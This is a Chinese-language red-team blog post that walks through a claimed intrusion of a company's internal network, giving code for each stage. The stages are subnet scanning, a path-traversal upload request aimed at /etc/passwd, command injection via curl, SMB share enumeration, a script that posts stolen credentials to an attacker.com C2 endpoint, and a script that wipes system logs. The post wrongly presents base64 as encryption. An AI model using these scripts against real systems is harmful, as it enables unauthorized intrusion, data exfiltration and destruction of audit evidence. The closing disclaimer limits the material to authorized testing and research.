0x01 从一个真实案例说起
在一次红队攻防演练中,我接到了一个有趣的任务:渗透某知名互联网公司的内网。这家公司拥有庞大的网络结构,防御措施也相当完善,包括最新的EDR技术和严格的流量监控。然而,我知道,再强大的防御总有薄弱环节可以利用。
0x02 信息收集:攻击的第一步
在任何红队行动中,信息收集都是至关重要的步骤。在这次任务中,我首先进行了外部侦察,利用公开信息和网络爬虫技术获取目标的基础设施信息。常见的工具包括Shodan和Censys,它们可以帮助快速定位目标的IP和端口。
Bash脚本:快速扫描子网
我们可以使用Nmap和简单的Bash脚本来扫描一个子网,寻找开放的端口和服务:
<pre><code class="language-bash">#!/bin/bash
subnet="192.168.1.0/24" output_file="scan_results.txt"
echo "Scanning subnet $subnet..."
nmap -sS -p 22,80,443 -oG - $subnet | awk '/Up$/{print $2}' > $output_file
echo "Scan complete. Results saved in $output_file."</code></pre>
这段脚本能够快速识别子网内活动的设备及其开放的常见端口。通过这些信息,我找到了几个潜在的入口。
0x03 初步渗透:利用Web漏洞
在信息收集阶段,我发现目标网站的文件上传功能存在未验证的目录遍历漏洞。这是一种经典的Web漏洞,许多开发者在实现文件上传功能时忽略了对路径的严格验证。
Python代码:利用目录遍历漏洞
<pre><code class="language-python">import requests
url = "http://target.com/upload" file_path = "../../../../../../etc/passwd" # Unix系统中的敏感文件路径
files = { 'file': (file_path, open('local_file.txt', 'rb'), 'application/octet-stream') }
response = requests.post(url, files=files)
if "root:" in response.text: print("[+] Successfully retrieved sensitive info!") else: print("[-] Exploit failed.")</code></pre>
在这个例子中,我构造了一个恶意请求,利用目录遍历漏洞读取服务器上的敏感信息。这一招在实战中屡试不爽。
0x04 权限提升:从普通用户到管理员
成功获得初步访问权限后,我需要提升自己的权限。在这次攻击中,目标服务器上一个过时的PHP版本给我提供了机会。这个版本存在一个远程代码执行漏洞,可以用来运行任意命令。
Bash脚本:利用RCE漏洞提升权限
<pre><code class="language-bash">#!/bin/bash
target_url="http://target.com/vulnerable.php" cmd="whoami; id"

curl -X POST -d "cmd=$cmd" $target_url</code></pre>
这个脚本通过漏洞注入命令,成功执行服务器上的本地命令,确认了我的权限级别。接着,我利用本地提权漏洞(例如Dirty COW)进一步扩大攻击范围。
0x05 横向移动:内网漫游
一旦在目标服务器上获得更高权限,我开始横向移动,寻找更多的目标机器。在内网环境中,常用的技术包括利用SMB共享、传输恶意软件或者使用PsExec工具。
Python代码:自动化横向移动
<pre><code class="language-python">import os from smb.SMBConnection import SMBConnection
def connect_smb(target_ip, username, password): conn = SMBConnection(username, password, "attacker", "target", use_ntlm_v2=True) conn.connect(target_ip, 139) return conn
def list_shares(conn): shares = conn.listShares() for share in shares: print("Share Name: ", share.name)
target_ip = "192.168.1.105" username = "admin" password = "password"
conn = connect_smb(target_ip, username, password) list_shares(conn)</code></pre>

这段代码可以帮助我自动化地枚举内网中计算机的共享资源,让我能快速定位存储敏感数据的地方。
0x06 数据窃取:目标的终点
在红队任务中,数据窃取通常是最后一步,也是最关键的一步。在这次攻击中,我从多个数据库中窃取了大量用户信息和财务数据。这些数据被加密存储,并通过隐蔽的C2通道传输出去。
Python代码:窃取数据并加密传输
<pre><code class="language-python">import base64 import requests
def encrypt_data(data): return base64.b64encode(data.encode())
def send_to_c2(url, encrypted_data): payload = {"data": encrypted_data} requests.post(url, json=payload)
sensitive_data = "User1: password123, User2: qwerty" c2_url = "http://attacker.com/c2"
encrypted_data = encrypt_data(sensitive_data) send_to_c2(c2_url, encrypted_data)</code></pre>
这段代码展示了如何通过简单的加密技术保护敏感数据,并安全地发送到攻击者的服务器。
0x07 痕迹清除:确保无迹
完成任务后,我需要清理痕迹,确保不会留下任何可追溯的线索。在这次任务中,我利用rootkit隐藏我的活动,并清除所有系统日志。
Bash脚本:简单的日志清除
<pre><code class="language-bash">#!/bin/bash
echo "[+] Cleaning logs..."
log_files="/var/log/auth.log /var/log/syslog" for file in $log_files do echo "Clearing log: $file" > $file done
echo "[+] Logs cleared."</code></pre>
通过这个脚本,我可以有效地覆盖关键日志文件,确保不会暴露我的活动。
0x08 个人经验:实战笔记

有一次,在一场红队演练中,我发现攻击路径不仅仅是技术问题,更是心理博弈。防守人员常常因为繁忙的工作而忽视一些简单但致命的漏洞,而攻击者则需要有敏锐的洞察力去发现这些机会。
在进行攻防演练时,我始终保持一种策略:从人性弱点开始,利用技术薄弱点结束。这种思维方式帮助我完成了许多看似不可能的任务。
最后,红队行动不仅仅是技术的较量,更是策略的体现。每次行动后,我都会反思:如果我是防御者,我会如何加强我的防线?这种思维,不断激励我精进技术。
---
合法声明:本文内容仅供授权安全测试和安全研究学习使用,请勿用于非法目的。
这篇文章希望能为你提供灵感,让你在红队攻防演练中走得更远。记住,实战为王,经验至上。